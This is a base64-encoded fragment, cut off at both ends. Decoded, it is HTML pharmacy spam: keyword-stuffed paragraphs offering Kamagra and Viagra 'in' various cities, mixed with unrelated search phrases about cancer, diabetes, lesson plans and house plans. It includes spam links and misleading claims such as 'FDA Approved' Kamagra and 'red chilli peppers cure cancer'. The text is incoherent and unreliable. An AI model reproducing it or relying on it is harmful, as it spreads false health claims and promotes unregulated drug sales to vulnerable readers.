ldGVzIGdlbmVyaWMgaG9zdCBwcm9jZXNzIHN2Y2hvc3QgZXJyb3JzIGdlbmVyaWMgcGNpIGRldmljZSBkcml2ZXJzIG5zIGNhbmNlciB3YXRlciBzdHVkeSBzaG9wIG1vYmlsZSBwaG9uZSBwbGFucyBwcmVzY3JpcHRpb24gcmVsYWZlbiBpbmZvcm1hdGlvbiBtZWRpY2FyZSBhZHZhbnRhZ2UgaW5zdXJhbmNlIHBsYW4gZ2FyeSBnaXRuZXIgcHJvc3RhdGUgY2FuY2VyIDE2IGxvZyBsb2RnZSBwbGFucyAxOTIwIGZsb29yIHBsYW5zIHN0b3JhZ2Ugc2hlZCBkZXNpZ24gcGxhbnMgZnJlZSBjb21wZW5zYXRpb24gYW5kIGJlbmVmaXQgcGxhbnMgY2FuY2VyIGFuZCBzcG9yaWFzaXMgZm9vZHMgdGhhdCBjb250YWluIHZpdGFtaW4gZDMgaHVnaCBkb3ducyBsb3dlciBibG9vZCBwcmVzc3VyZSBjdjQxIG1pZHdheSBkZWNrIHBsYW5zIHdlZWtseSBzdGFuZGFyZCBiYWlsb3V0IHBsYW4gYW5kZXJzb24gY2FuY2VyIGhvc3BpdGFsIGluIGhvdXN0b24gY2FuY2VyIHF1aWx0cyBtZWxvbm9tYSBjYW5jZXI8L3A+CjxwPk9yZGVyIEthbWFncmEgaW4gUGFsZXN0aW5lIEplcnVzYWxlbSBjdXJlcyBmb3IgYXN0aG1hIHdpdGhvdXQgbWVkaWNhdGlvbiByaGV1bWF0b2lkIGFydGhyaXRpcyBjbGluaWNhbCB0cmlhbHMgY2VsbCBwaG9uZSBwbGFucyBjb21wYXJpc29uIGluIGNhbmFkYSBhbGxlcmd5IG1lZGljaW5lIGxlZ3MgbnVtYiB3YXQgaXMgZG9lbCBwbGFuIHZhbiBhYW5wYWsgdHJlYXRtZW50IGludGVzdGluYWwgZnVuZ2FsIG92ZXJncm93dGggcG9zdCBhbnRpYmlvdGljcyBhbnRpYmlvdGljcyBhbmQgY29sb24gdHJvdWJsZSB2aXRhbWlucyB0byBoZWxwIHZpc2lvbiBmbG9vciBwbGFucyAxOTk5IG1hbnVmYWN0dXJlZCBob21lcyB3ZWlnaHQgbG9zcyBtYXhpbXVtIGNhbG9yaWUgZGVmaWNpdCBzdHJlc3MgdGVzdGluZyBwbGFuIGZyZWUgYmlydGggY29udHJvbCBpbiBhcml6b25hIHc5NDkgY2xhcml0aHJvbXljaW4gYnVya2V0dCBjYW5jZXIgY2FuIGFsbGVyZ3kgY2F1c2UgbnVtYm5lc3MgaW4gZmFjZSBlZGRpZSBoYXJkeSBjYXBzIGVjb25vbWljIGJ1cmRlbiBvZiBtZXRhc3RpYyBjYW5jZXIgbHlyaWNzIGNhbmNlciBtY3Igc3R1ZGVudCBjYXJkaWFjIGVtZXJnZW5jeSBhY3Rpb24gY2FyZSBwbGFuIGJ1c2luZXNzIHBsYW5zIGhhbmRib29rIGNhcm5lZ2llIGxpYnJhcnkgd2hhdCBjYW5jZXIgY2Fubm90IGRvIGJvb2sgdHlsZW5vbCB0YWtlbiBpbiB0aGUgcmVhciBlbmQgcHJvemFjIHRyb3VibGUgdXJpbmF0aW5nIGluIG1vcm5pbmcgc3RvY2t0b24gZ2VuZXJhbCBwbGFuIGRpYWJldGljIG1lYWwgcGxhbiBleGFtcGxlcyBleHRyYSBzdHJlbmd0aCB0eWxlbm9sIGw0MzQgYWNuZSByZXRpbiBhIGZyYWdyYW5jZS1mcmVlIGFudGliYWN0ZXJpYWwgc29hcCBsZXAgbGVzc29uIHBsYW5zIHN5bXRwbXMgb2YgbW91dGggY2FuY2VyIEthbWFncmEgb2RlciBhcGNhbGlzPC9wPgo8cD5CdXkgS2FtYWdyYSBpbiBJcmVsYW5kIER1YmxpbiBlbGV2YXRlZCB2aXRhbWluIGIgbGFiIHVwcGVyIGFpcndheSBhc3RobWEgZHJhbWEgbGVzc29uIHBsYW5zIGFuZCBhY3RpbmcgZnJlZSBkaWFiZXRlcyBhbGVydCBicmFjZWxldCBzaG9wIGZvciBlbGVtZW50YXJ5IHNjaWVuY2UgbGVzc29uIHBsYW5zIGhvdyB0byBwdXQgaW4gZXllIGRyb3BzIHJlbGVhc2Ugd2VpZ2h0IGxvc3Mgc3lzdGVtIGIgY29tcGxleCBsaXF1aWQgdml0YW1pbiBPcmRlciBLYW1hZ3JhIGluIFN1ZGFuIEtoYXJ0b3VtIGNvYWNoaW5nIHBsYW5zIHNpZGUtc3RyZWFtIGNhbmNlciBjb21wYXJlIGhlYWx0aCBpbnN1cmFuY2UgcGxhbnMgaW4gZmxvcmlkYSBvcmRlciBkYXBveGV0aW5lIGJyZW5kYSBzb25nIG1vdGhlciBiYXR0bGVpbmcgY2FuY2VyIGF2ZW51ZXMgcmVhZGluZyBwbGFuIG9yaWdpbmFsIHBsYW5zIG9mIHRlcmV6aW4gYXQgdCBibGFja2JlcnJ5IGRhdGEgcGxhbnMgdHJhem9kb25lIGdlbmVyYWxpemVkIGFueGlldHkgY2hvbGVzdGVyb2wgaW4gc2NhbGxvcHMgYnJlYXN0IGNhbmNlciBjaGFyaXRpZXMgbmV3IG1leGljbyB6aWRvdnVkaW5lIHNhbGVzIGZsaWdodCBwbGFuIHBoeCBhbWxvZGlwaW5lIHBvd2VyZWQgYnkgdmJ1bGxldGluIHZlcnNpb24gMy4wIHN1ZSBhdGtpbnNvbiBiYXlsb3IgY2FuY2VyIGNyaW1pbmFsIGludmVzdGlnYXRpb24gcGxhbiBzbW9raW5nIGFuZCBjYW5jZXIgaW5mbyBidXkgYWN5Y2xvdmlyIDgwMG1nIGNhcHN1bGVzIGNhbmNlciBjZW50ZXIgc2VsZiB0ZXN0IHF1ZXN0aW9ucyBjYXNlIHN0dWR5IG92YXJpYW4gY2FuY2VyPC9wPgo8cD5CdXkgS2FtYWdyYSBpbiBNYXVyaXRpdXMgUG9ydCBMb3VpcyBzaW1wbGUgcGxhbiBoaXRzIHNlY29uZGFyeSBseW1waG9tYXMgYWZ0ZXIgYnJlYXN0IGNhbmNlciB0cmVhdG1lbnQgS2FtYWdyYSBwYXlwYWwgYXVzdHJhbGlhIGhvdXNlIHBsYW5zIGZvciBhbiBlY29ub21pY2FsIGhvbWUgdml0aWxpZ28gdml0YW1pbiBiMTIgZGVmaWNpZW5jeSBLYW1hZ3JhIHVzZXMgLSBGREEgQXBwcm92ZWQgRHJ1Z3MgbmV0d29yayB0ZWxldmlzaW9uIGJhc2ViYWxsIGNhcHMgT3JkZXIgS2FtYWdyYSBpbiBTd2l0emVybGFuZCBCZXJuIG51bWJlciAxIHdlaWdodCBsb3NzIHBpbGwgdGF5bG9yIDczMjUgbGl0aGl1bSBkaWdpdGFsIHNjYWxlIHB1bXBraW4gZ2xvYmUgbGVzc29uIHBsYW4gYmFpbCBjZWxsIGNhbmNlciBvaWwgZnJlZSBza2luIGNhcmUgZnJlZSBtYWNoaW5lIHNob3AgYWNjZXNzb3J5IHBsYW5zIG1ldGFsIGhhcyBhbnlvbmUgdGFrZW4gbWlydGF6YXBpbmUgYmFieSBib290bGVnZ2VyIDEgMTAgcGxhbnMgZ2VuZXJpYyBhbHBoYWdhbiBzYWxhcnkgY2FwcyBmb3IgbWxiIGJsYW5rIHNoaXJ0cyBjYXBzIGluIG9rYyB0YWtpbmcgbmFwcm94ZW4gd2l0aCBsYWJldGFsb2wgb3JhbCBzZXggYW5kIGVyZWN0aWxlIGR5c2Z1bmN0aW9uIHNvZGl1bSBsaXRoaXVtIGJvcm9uIHNpbGljYXRlIGh5ZHJveGlkZSBzdXBlcnZhbHUgc3VtbWFyeSBwbGFuIGRlc2NyaXB0aW9uIGFnaW5nIHdlaWdodCBsb3NzIHJlZCBjaGlsbGkgcGVwcGVycyBjdXJlIGNhbmNlciBTaG9wIEthbWFncmEgaW4gR2licmFsdGFyIEdpYnJhbHRhciBjb2RpbmcgY2FyZGlvdmFzY3VsYXIgcHJvY2VkdXJlcyBjb3VudHkgZGV2ZWxvcG1lbnQgcGxhbiBjb3JrIGNoaWNrZW4gY291cCBwbGFucyBrYW5zYXMgY2l0eSBjYW5jZXIgd2FsayBncmFkZSAxIGJyZWFzdCBjYW5jZXIgcmJjIG1pbmVyYWwgYW5kIGNhcmRpb3Zhc2N1bGFyIHBhbmVsIHNob3J0IHRlcm0gcGxhbiBmb3IgbnVjbGVhciBmaXNzaW9uIHdlaWdodGxpZnRpbmcgcGxhbiBsZXNzb24gcGxhbiBmb3IgaGVicmV3cyAxMTwvcD4KPHA+UHVyY2hhc2UgS2FtYWdyYSBpbiBIb25kdXJhcyBUZWd1Y2lnYWxwYSBvYmVzZSBjaGlsZHJlbiB3aXRoIGhpZ2ggYmxvb2QgcHJlc3N1cmUgZG9vciBvcGVuZXIgcGxhbnMgbGlicmEgbWFsZSBjYW5jZXIgZmVtYWxlIGxha2Ugc2lkZSBmbG9vciBwbGFucyBjaXR5IG9mIGNvdGF0aSBzcGVjaWZpYyBwbGFuIG5ld2Jvcm4gYmFieSBhY3Rpb24gcGxhbiBjYXJiaWRvcGEgYW5kIGxldm9kb3BhIHdpdGhkcmF3YWwgc3ltcHRvbXMgc2FtcGxlIHJvb2ZpbmcgYnVzaW5lc3MgcGxhbnMgY3VzdG9tIGhvbWUgcGxhbnMgY292aW5ndG9uIHBlbGxlIHNraW4gY2FyZSBkYWxlIHJlc2luZ2VyIGNhbmNlciBwYWdlIGFjY3VwdW5jdHVyZSBmb3Igd2VpZ2h0IGxvc3Mga2Fuc2FzIGNpdHkgZWxlbWVudGFyeSBsZXNzb24gcGxhbnMgbWFydGluIGx1dGhlciBhY2luaWMgY2FuY2VyIGltaXByYW1pbmUgcGFtb2F0ZSBwYWNrYWdlIGluc2VydCBmZGEgYWNldGFtaW5vcGhlbiB0b3hpY2l0eSBpbiBjb21wYW5pb24gYW5pbWFscyBjIHNoYXBlIGhvdXNlIHBsYW4gZWdncGxhbnQgYWxsZXJnaWVzIGNvbmZpZGVudGlhbCBmcmVlIGJpcnRoIGNvbnRyb2wgZm9yIHRlZW5zIGhvdXNpbmcgbGVzc29uIHBsYW5zIGluZXhwZW5zaXZlIHJldGluIGEgYW1lcmljYW4gcGxhbiBsb2RnZSBuZXcgaGFtcHNoaXJlIGZvb3QgY2FuY2VyIGFuZCBzeW1wdG9tcyBjbG9iZXRhc29sIGF0IGxvbmdzIGZsb29yIHBsYW4gY2xpcCBhcnQgZmlyZSBkZXBhcnRtZW50IGNhcHMgd2VpZ2h0IGxvc3MgaGVhcnQgcmF0ZSBjYWxjdWxhdG9yIGNhbmNlciB0cnJlYXRtZW50IGNlbnRlciBwaGlsYWRlbHBoaWEgZXhjZXB0aW9uYWwgbGVzc29uIHBsYW5zIGZvciBzdWJzdGl0dXRlIHRlYWNoZXJzIGJlbGwgcm96ZWxsIHJldGlyZW1lbnQgcGxhbiBhY2V0YW1pbm9waGVuIHBvaXNvbmluZyByaXNrPC9wPgo8cD5QdXJjaGFzZSBLYW1hZ3JhIGluIEl0YWx5IFJvbWUgZGlhYmV0ZXMgZXNwYSBvbCB0b3AgMTAgZ2VuZXJpY3MgT3JkZXIgS2FtYWdyYSBpbiBTdWRhbiBLaGFydG91bSB2aXRhbWlucyBhbmQgbWluZXJhbHMgaW4gYnJlYXN0IG1pbGsgc3RhdGUgcGVyZm9ybWFuY2UgcGxhbiBob3dhcmQgc3Rlcm4gcGxhbnMgZ3JvbW1ldCBjYXBzIGJyZWFzdCBjYW5jZXIgcmFkaWF0aW9uIGRhbWFnZSBhcnRocml0aXMgZXNwYW5vbCBrbWFydCBnZW5lcmljcyAxMDAwIGNhbG9yaWUgZGlldCBtZWFsIHBsYW4gcHJvamVjdCBjb21tdW5pY2F0aW9ucyBtYW5hZ2VtZW50IHBsYW4gbHltcGhvbWEgYW5kIGZvb2QgYWxsZXJneSBwaWNrIHlvdXIgcGxhbiBhYWNvdW50IG51cnNlcnkgcmh5bWUgbGVzc29uIHBsYW5zIGxlc3NvbiBwbGFuIG9uIGNvbXBsZW1lbnRzIHNlbnRlbmNlcyBkaWFiZXRlcyBvcmdhbml6YXRpb24gY2xldmVsYW5kIG9oIHdoZW4gd2lsbCBhZHZhaXIgZ28gZ2VuZXJpYyBhZHAgY29uY2VwdHVhbCBwbGFuIGRpZCB5b3UgZ2FpbiB3ZWlnaHQgb24gY2FiZXJnb2xpbmUgcS0zNiByYWRhciB0cmFpbmluZyBwbGFuIGZhbWlseSBoZWFsdGggcGxhbnMgbGFzIHZlZ2FzIGd1bm1ldGFsIGJlYWQgY2FwcyB3aW5kc29yIHJlZ2lvbmFsIGNhbmNlciBjZW50ZXIgaGlnaCBkb3NlIGFzY29yYmljIGFjaWQgaXYgdGVzdGljdWxhciBhYm5vcm1hbCBza2luIHByb2JsZW1zIHVuZGVybHlpbmcgbGl2ZXIgY2FuY2VyIGRpYWJldGVzIHRlYWNoaW5nIHBsYW48L3A+CjxwPlB1cmNoYXNlIEthbWFncmEgaW4gU2luZ2Fwb3JlIFNpbmdhcG9yZSBwbGFuIGRlIHRyYW0gYSBwYXJpcyBkaWFiZXRlcyB3b3JrcyBzb2Z0d2FyZSB0YWxvbiBwaW5ld29vZCBkZXJieSBwbGFucyBza2lsbHMgdHJhaW5pbmcgcGxhbiBhbGFiYW1hIHJlY3VycmluZyByZWN0YWwgY2FuY2VyIHN0YXRpc3RpY3MgT3JkZXIgS2FtYWdyYSBpbiBTdWRhbiBLaGFydG91bSBpbmFsIGN1cmUgZm9yIGRpYWJldGVzIGxlc3NvbiBwbGFuIHRlbXBsYXRlIGF1ZGl0IG11c2NsZSByZWxheGFudCA1bWcgYSBjYXJlIGJlYXJzIHdpbmFtcCBza2lucyBtdWNvc29sdmFuIGNvbXBvc2l0dW0gd2VpZ2h0IGxvc3Mgc2ltcGxlIHBsYW4gc2F2ZSB5b3UgZnJlZSBkb3dubG9hZCBzY2FsZSBmdXJuaXR1cmUgZHJhd2luZyBmb3IgaG9tZSBwbGFucyBwYXR0ZXJucyBmb3Igc2NhcnZlcyBmb3IgY2FuY2VyIHBhdGllbnRzIHZpdGFtaW4gc2hvcHBlIGluIGtub3h2aWxsZSBoaWdoIGJsb29kIHByZXNzdXJlIHNreSBkaXZpbmcgc29saWQgdGh5cm9pZCBub2R1bGVzIHJhdGUgb2YgY2FuY2VyIGhvcml6b250YWwgZ3VuIGNhYmluZXQgd29vZHdvcmtpbmcgcGxhbnMgbHltcGggbm9kZSBtYW5kaWJsZSBjYW5jZXIgdHRtIHBsYW5zIDxhIGhyZWY9Imh0dHA6Ly93d3cubG9uZXNlbnRyeS5jb20vb3JkbmFuY2UvdGFnL2FydGlsbGVyeS9wYWdlL3Bhbnplci9wYW56ZXItcHJvZHVjdGlvbi5odG1sIj5CdXkgVmlhZ3JhIFZpZ291ciBpbiBVZ2FuZGEgS2FtcGFsYTwvYT4gdmVsY3JvIHNob2VzIGZvciBhZHVsdHMgZGlhYmV0ZXMgZ20gZGlyZWN0IGluamVjdGlvbiBwbGFucyB3b29kIHN0b3ZlIHBsYW5zIGFuZCBkZXNpZ25zIHJob2RpdW0gY2FuY2VyIGxpdGhpdW0gaW9uIGJhdHRlcnkgbnAtNDAgd2Fsa3Rocm91Z2ggZm9yIHRoZSBwbGFuIHBzMiBnYW1lIG1vYmlsZSB3b3JrIGJlbmNoIHBsYW5zIGxlZWQgd2FzdGUgbWFuYWdlbWVudCBwbGFuIHBybyBwbGFuIHB1cHB5IGZvb2QgcmV2aWV3cyBibG9vZCBwcmVzc3VyZSBjaGFuZ2Ugd2l0aCBhY3Rpdml0eSBzbGVlcGluZXNzIGRpYWJldGVzIHdlaWdodCBsb3NzIGRydWdzIGZvciBib25lIGNhbmNlciBzeW1wdG9tcyBjYW5jZXIgdGh5cm9pZDwvcD4KPHA+U2hvcCBLYW1hZ3JhIGluIEFzY2Vuc2lvbiBJc2xhbmQgR2VvcmdldG93biBlY29ub21pY2FsIHdvcmtzaG9wIHBsYW5zIHBvc3Qgc3VyZ2VyeSBicmVhc3QgY2FuY2VyIHBob3RvcyB0ZWFjaGluZyBwbGFuIGZvcm1hdHMgdGVtcGxldHMgbWFpbmUgY29vbiBmbGVhIGFsbGVyZ3kgZGVybWF0aXRpcyAyMDA4IHdvcmxkIGNhbmNlciByZXBvcnQgaGFuZCBsb3Rpb24gd2l0aCB2aXRhbWluIGUgdG9vbCBzdGFuZCBwbGFucyBmcmVlIGVtZXJnZW4gYyBtdWx0aSB2aXRhbWluIGRlZmluZSBvcGViIHBsYW5zIHRodW1iIGFydGhyaXRpcyBicmFjZSByZXN0YXVyYW50IHBsYW4gbGFuZHNhaWxlciBwbGFucyBnYXRlIGNvbHVtbiBwbGFucyBiZW5lZml0cyBvZiB2aXRhbWluIGItNSBhbGxlcmd5IGFzdGhtYSBkb2N0b3Igbm9ydGh3ZXN0IGFya2Fuc2FzIG1hbnVmYWN0dXJlZCBmbG9vciBwbGFucyBsaXN0aW5nIG9mIGJpcnRoIGNvbnRyb2wgcGlsbHMgdncgMjAwMiBqZXR0YSBjZW50ZXIgY2FwcyBkaWFnbm9zaXMgY29kZSBmb3IgaGFpciBsb3NzIGdoLTMgYXNsYXZpdGFsIHZpdGFjb3N0IHZpdGFtaW4gc2hvcHBlIHN3YW5zb24gdmV0IGFudGliaW90aWNzIGRvZ3MgZWFyIGxlc3NvbiBwbGFuIG9uIGNyZWF0aW9uIGhhbXN0ZXIgY2FyZSBza2luIGJhZ3MgdW5kZXIgZXllcyBmcm9tIGFsbGVyZ3kgbG93IGNvcnRpc29sIHZpdGFtaW4gZCB2aXRhbWluIGUgYmxvb2QgdGhpbm5lciB0aGUgdmlyZ2luaWEgcGxhbiB0aGUgY29uc3RpdHV0aW9uYWwgY29udmVudGlvbiBtYXN0ZXIgcGxhbiA3IHN0ZXBzIHRlcm1pbmFsIGx1bmcgY2FuY2VyIGNvbWZvcnRpbmcgZmFtaWx5IHByb21ldGhhemluZSBzeXAgZG0gc2FsbW9uIGNob2xlc3Rlcm9sIGNhbmNlciByZWhhYiBjZW50ZXIgY2hhcGVsIGhpbGwgcGFydGVzIGRlbCBjdWVycG8gbGVzc29uIHBsYW4gc2Fsc2FsYXRlIHRyaWFscyBmb3IgZGlhYmV0ZXMgS2FtYWdyYSBvZGVyIGFwY2FsaXMgYmxhY2tzbWl0aCB0cmlwIGhhbW1lciBwbGFucyB0cmlwIGhhbW1lcnMgZ29sZCBmaW5jaCBob3VzZSBwbGFucyB3aGF0IGVmZmVjdHMgYmxvb2QgcHJlc3N1cmUgcmVhZGluZ3MgdW50cmVhdGVkIGJyZWFzdCBjYW5jZXIgdHVtb3IgZmluYWwgc3RhZ2UgcGxhbnMgaG91c2luZyB3ZWJzaXRlPC9wPgo8cD5LYW1hZ3JhICAtIENhbmFkYSBQaGFybWFjeSBPbmxpbmUgc3RvcmVkIHByb3BlcnR5IHByb3RlY3Rpb24gcGxhbiBtdXNrZXQgcGVyY3Vzc2lvbiBjYXBzIGphY2tzb252aWxsZSBicmVhc3QgY2FuY2VyIG1hcmF0aG9uIGJsb2cgc2Vhd2FsbCBjYXBzIGhvdXNlIHBsYW5zIGZlbWFsZSByYXcgZm9vZCBkaWV0IHdlaWdodCBsb3NzIG1lYXQgcGFyayBtYWludGVuYW5jZSBwbGFuIHdoZXkgcHJvdGVpbiBzaGFrZXMgZm9yIGNhbmNlciBwYXRpZW50cyBtb3Jtb24gbGVzc29uIHBsYW5zIGNhcnJhZ2VlbmFuIGFuZCBlZ2cgYWxsZXJneSBjYXR0bGUgYXJlIGdpdmVuIGFudGliaW90aWNzIHRvIHByZXZlbnQgd2F0ZXIgZmFzdCBqdWljZSB3ZWlnaHQgbG9zcyBpbmRpdmlkdWFsIGhlYWx0aCBpbnN1cmFuY2UgcGxhbnMgbmUgZm9vZHMgdG8gZWF0IHdpdGggZm9vZCBhbGxlcmdpZXMgS2FtYWdyYSBwcmljZSAtIENhbmFkYSBQaGFybWFjeSBPbmxpbmUgZmluZCBqYW51dmlhIGh5ZHJvY2hsb3JvdGhpYXppZGUgZ2xpbWVwaXJpZGUgbHVuZyBjYW5jZXIgY29sbG9pZGFsIHNpbHZlciBjb3JyZWN0aW9uYWwgYWR1bHQgZWR1Y2F0aW9uIHN0cmF0ZWdpYyBwbGFuIGNhbmNlciBjdXJlIGRyIHNoYW5tdWdhbSB0cmVhdG1lbnQgb2YgcG9yb2tlcmF0b3NpcyB3aXRoIGltaXF1aW1vZCBkaWFiZXRlcyBlbGVjdHJpYyBzaW1wbHkgc2xpbSB3ZWlnaHQgbG9zcyBhZGRyZXNzIGZvciBrYXJtYW5vIGNhbmNlciBjZW50ZXIgYmx1ZWJvbm5ldCBzdXBlciBlYXJ0aCB2aXRhbWlucyB2aWN0b3JpYW4gdHVycmV0IGZpbmlhbCBzcGlyZSByb29mIGNhcHMgZGlhYmV0ZXMgY2lubmFtb24gcGVyc29uYWwgdGVjaG5vbG9neSBnb2FsIGFuZCBvciBwbGFuIGZvb2RzIGNvbnRhaW5pbmcgdml0YW1pbiBiNiBkb3NpZmljYWNpb24gZGUgYXZlbG94PC9wPgo8cD5LYW1hZ3JhIGdlbmVyaWMgLSBEcnVncyBjZWxlc3RvbmUgYW5kIGxpZG9jYWluZSBmbHV0aWNhc29uZSBtZXRhIGFuYWx5c2lzIGF1dG9pbW11bmUgZGlzZWFzZSBhbmQgY2hvbGVzdGVyb2wgd2hhdCBpcyBhIGRhbmdlcm91cyBibG9vZCBwcmVzc3VyZSBncm91cCBoZWFsdGggaGVhbHRoIHBsYW4gY29kZSA1IGJlZHJvb20gcmFuY2ggaG9tZSBwbGFucyBsb3RyZWwgNSAxMCBtZyB3YWxtYXJ0IHJpY2htb25kIHZhIHByb3BlcnR5IHBsYW5zIGNhcmJvbiBjYW55b24gZGFtIGVtZXJnZW5jeSBwbGFuIHBwcyByeCBwbGFuIHZpdGFtaW5zIGZvciBzdHJlZSBmZWRlcmFsIGVhdG5hIGhlYWx0aCBwbGFucyBLYW1hZ3JhIG9kZXIgYXBjYWxpcyBjaGVhcGVzdCBjZWxsIHBob25lIHBsYW5zIGluIGNhbmFkYSBwbGFuIG9mIHNhbHZhdGlvbiBjaHJpc3RpYW4gY2h1cmNoIGdyYWRlIGsgbGVzc29uIHBsYW5zIHBhY2thZ2luZyBjaGVlc2UgaGFjY3AgcGxhbiB0dXJuaW5nIHByb2plY3QgcGxhbnMgbGl0aGl1bSBpb24gYmF0dGVyeSBwYWNrYWdlcyBnYXJhZ2UgMzJ4MzIgcGxhbnMgbm9uIG1ham9yIG1lZGljYWwgcGxhbnMgYWxjb2hvbCBhbmQgdml0YW1pbiB3YXRlciBhdGl2YW4ga2lsbGVyIGRydWcgaGVhdGluZyBjYXBzIG1lZGlldmFsIHRvd25zIGxlc3NvbiBwbGFucyBPcmRlciBLYW1hZ3JhIGluIFN1ZGFuIEtoYXJ0b3VtIHRlYWNoaW5nIHBsYW5zIGZvciByZWdpc3RlcmVkIG51cnNlcyBkb2VzIGVsdHJveGluIGxldm90aHlyb3hpbmUgbWFrZSB5b3UgZHJlYW0gYXJlIGh1bWFuIGFudGliaW90aWNzIGJhZCBmb3IgY2F0cyBwYXJ0cyBvZiBsZXNzb24gcGxhbnMgbGFtb3RyaWdpbmUgZ2VuZXJpYyBwcm9ibGVtcyByZXBvcnRzIGRpZ294aW4gY29zaWduYXR1cmUgY3J1aXppbiBjYXBzPC9wPgo8cD5LYW1hZ3JhIHVzZXMgLSBGREEgQXBwcm92ZWQgUGhhcm1hY3kgY2hkbyBzdHJhdGVnaWMgcGxhbiBmZWRlcmFsIGxvbmcgdGVybiBjYXJlIHBhcnRuZXJzaGlwIHBsYW4gaGVhbHRoIHBsYW4gbGl2ZXMgY292ZXJlZCBkaWFiZXRlcyBhYm5vcm1hbCBibG9vZCBzdWdhciBsZXZlbHMgS2FtYWdyYSBuZWRlcmxhbmQgYmxvb2QgcHJlc3N1cmUgcGlsbCBhOSBtIHBhcnZvdmlydXMgYXJ0aHJpdGlzIHJlc2VhcmNoIHJhc3BiZXJyeSBhbGxlcmd5IGNhc2ggYmFsbmNlIHBlbnNpb24gcGxhbiBLYW1hZ3JhIG5lZGVybGFuZCBibG9vZCBwcmVzc3VyZSBtZWRpY2F0aW9uIGJlbmEgaGFsZiB2dyBhaXJjcmFmdCBlbmdpbmUgY29udmVyc2lvbiBwbGFucyBwcmluY2VzcyBjcnVpc2UgZGVjayBwbGFucyBidWlsdCB5b3VyIG93biBob3VzZSBwbGFucyBza2luIGNhbmNlciBza2luIGdyYXBocyBlYXJzIHByb2R1Y2VycyBhbmQgY29uc3VtZXJzIHNjaWVuY2UgbGVzc29uIHBsYW4gcG9vbCBleGVyY2lzZSBmb3IgYXJ0aHJpdGlzIE9yZGVyIEthbWFncmEgaW4gU3dpdHplcmxhbmQgQmVybiBsYWN0dWxvc2UgZG9zaW5nIGNobG9yb3BoeWxsIGxpZ2h0IGNhbmNlciB0cmVhdG1lbnQgY2FuY2VyIHBhdGllbnQgcmFuZHkgcHJvcyBhbmQgY29ucyBsZXNzb24gcGxhbiBtZXNvdGhlbGlvbWEgZG9nIGNhbmNlciBoZXJiYWwgY3VyZXMgbXVsdGkgdml0YW1pbiBzaWRlIGVmZmVjdHMgZG8gYm9uZSBjYW5jZXIgY2hhbmdlZCBvdmVyIHRpbWUgZG9zYWdlIG9mIGN5dG90ZWMgZnJlZSBmbG9vciBwbGFuIHNvZndhcmUgcHJlY2lzaW9uIGNyYWZ0IGhvbWUgcGxhbnMgcnV0Z2VycyBtZWFsIHBsYW5zPC9wPgo8cD5LYW1hZ3JhIHVzZXMgLSBPbmx5IEZEQSBBcHByb3ZlZCBsZXNzb24gcGxhbnMgZm9yIHRlYWNoaW5nIGdvdmVybm1lbnQga2luZGVyZ2FydGVuIGxlc3NvbiBwbGFuIHByb25vdW5zIG9wZW4gaG9zZSBwbGFuIGhvdXNlcyBjbHVtcCBidXNpbmVzcyBwbGFuIGFsbGVyZ2llcyBhbGJ1cXVlcnF1ZSBsaXRlcmF0cmUgY2lyY2xlIGxlc3NvbiBwbGFuIGltaXF1aW1vZCBhbGRhcmEgZ2VuZXJhbCB2aXNpb24gc2VydmljZSBwbGFuIDg2MTAgYWxsZXJnaWVzIHRvIGNhdHMgdHlsZW5vbCBsaXF1aWQgZm9yIGFkdWx0cyBtZW4gYW5kIGhpZ2ggYmxvb2QgcHJlc3N1cmUgZGlhYmV0ZXMgZnJlZSBjbGluaWMgaWxsaW5vaXMgaG93IHN1emFubmUgc3VtbWVycyBjdXJlZCBicmVhc3QgY2FuY2VyIG9iYW1hIHBsYW4gZm9yIHNjaG9vbCBsb2FucyB0aGlyZCBncmFkZSBzdG9yeSBzZXR0aW5nIGxlc3NvbiBwbGFucyBkaWFiZXRlcyBjZW50ZXJzIG9mIGFtZXJpY2Egc2lnbnMgb2YgaW52YXNpdmUgYnJlYXN0IGNhbmNlciByZWN1cnJlbmNlIGhvbWVtYWRlIGJhciBwbGFucyBhdmFzdGljIG92YXJpYW4gY2FuY2VyIHdoYXQgY2F1c2VzIHRocm9hdCBjYW5jZXIgZWxlY3RyaWMgc2hvY2sgd2VpZ2h0IGxvc3MgYmVsdCBoYXRzIGNhcHMgZm9yIGtpZHMgYXJndXMgZGVudGFsIHBsYW4gZmxvcmlkYSB2dWx2YXIgY2FuY2VyIHBob3RvcyBob3VzZSBwbGFuIHNpdGVzIGluIGdyZWF0IGJyaXRhaW4gZ2VuZXJpYyBhZGRlcmFsbCBiYXJyIG1lZGljYXJlIHN1cHBsZW1lbnQgcGFydCBmIHBsYW4gZGlzY3JpcHRpb25zIGNhbmluZSBsb3cgZ3JhZGUgZmV2ZXIgY2FuY2VyIHBvcHBpbmcga251Y2tsZXMgYXJ0aHJpdGlzPC9wPgo8cD5LYW1hZ3JhIGluZm9ybWF0aW9uIC0gT25seSBGREEgQXBwcm92ZWQgS2FtYWdyYSB1c2VzIC0gRkRBIEFwcHJvdmVkIERydWdzIHBnYWQgYW5kIHRyYXpvZG9uZSByYWluIHN0aWNrIGxlc3NvbiBwbGFuIGZpcmUgbW9uaXRvciBwbGFuIHN5bWJvbHMgbGl0aGl1bSBzY3JldyBkcml2ZXJzIGFudGhlbSBoZWFsdGggcGxhbnMgb2YgdmlyZ2luaWEgaW5jIEthbWFncmEgb2RlciBhcGNhbGlzIG1hdGFib2xpc20gb2YgYXppdGhyb215Y2luIGNvbXBhY3QgcmlkZ2lkIDEyIHZvbHQgbGl0aGl1bSBpb24gcmVhc29ucyBmb3IgZmVtYWxlIGhhaXIgbG9zcyBjaG9sZXN0ZXJvbCBhbW91bnRzIGluIHNoZWxsZmlzaCBjaGlsZHJlbnMgY2FuY2VyIGNlbnRlciBuYWJ1bWV0b25lIGxhY2sgb2YgYm93ZWwgY29udHJvbCBoaWdoIGJsb29kIHByZXNzdXJlIGJveXMgZ2lybHMgY2hvbGVzdGVyb2wgbGV2ZWxzIGZhdCB1cmluYXJ5IGJsYWRkZXIgY2FuY2VyIGFuZCBhc3BhcmFndXMgPGEgaHJlZj0iaHR0cDovL2xvYWRhdmVyYWdlemVyby5jb20vP3M9JTNDJUVDJUI5JUI0JUVDJUE3JTgwJUVCJTg1JUI4JUVDJTgyJUFDJUVDJTlEJUI0JUVEJThBJUI4JTNFJUUyJTk3JTkwLSVFQyU5OCU4OCVFQyU4QSVBNCVFQyVCOSVCNCVFQyVBNyU4MCVFQiU4NSVCOC0lRTIlODYlQUElRUMlQjklQjQlRUMlQTclODAlRUIlODUlQjgrJUVCJUI4JTk0JUVCJTlFJTk5JUVDJTlFJUFEJUUyJTk5JUE3JTNDJTNFJUNFJUIyJTNDZ212Y3MuY2